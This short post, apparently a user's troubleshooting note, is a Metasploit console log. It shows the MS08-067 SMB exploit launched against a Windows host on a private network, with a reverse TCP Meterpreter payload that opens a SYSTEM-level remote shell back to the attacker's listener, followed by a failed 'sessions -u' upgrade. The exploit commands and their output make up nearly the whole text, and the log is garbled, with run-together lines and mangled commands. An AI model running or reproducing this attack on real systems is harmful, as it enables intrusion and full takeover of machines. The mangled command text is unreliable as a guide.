Metasploit to upgrade the command line shell to Meterpreter

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/ 
Reverse_tcp PAYLOAD = windows/meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set target + target + 41 MSF exploit (MS08_067_NETAPI) > Setg lhost 192.168.1.11 lhost = 192.168.1.11 MSF exploit (MS08_067_NETAPI) > SE  TG lport 8080 lport = 8080 MSF exploit (MS08_067_NETAPI) > Setg RHOST 192.168.1.142 RHOST = 192.168.1.142 MSF Exploit (MS08_067_NETAPI) > exploit-z [*] Started reverse handler on 192.168.1.11:8080 [*] attempting to trigger the
Vulnerability ... [*] Sending stage (752128 bytes) to 192.168.1.142 [*] Meterpreter Session 1 opened (192.168.1.11:8080-192.168.1.142:1074
) at 2013-04-28 10:44:36-0400 [*] Session 1 created in the background.                            MSF exploit (MS08_067_NETAPI) > Sessions-l Active Sessions =============== Id Type information           Connection------        ---------------------1 meterpreter x86/win32 NT authority\system @ root-9743dd32 E3 192.168.1.11:8080-192.168.1.142:1074 (192.168.1.142) MSF exploit (MS08_067_NETAPI) > Sessions-u 1 [-] Sessi
On 1 was not a command shell session.

MSF exploit (MS08_067_NETAPI) > Sessions-i 1 [*] starting interaction with 1 ...  Meterpreter >

Sessions-u 1 doesn't work.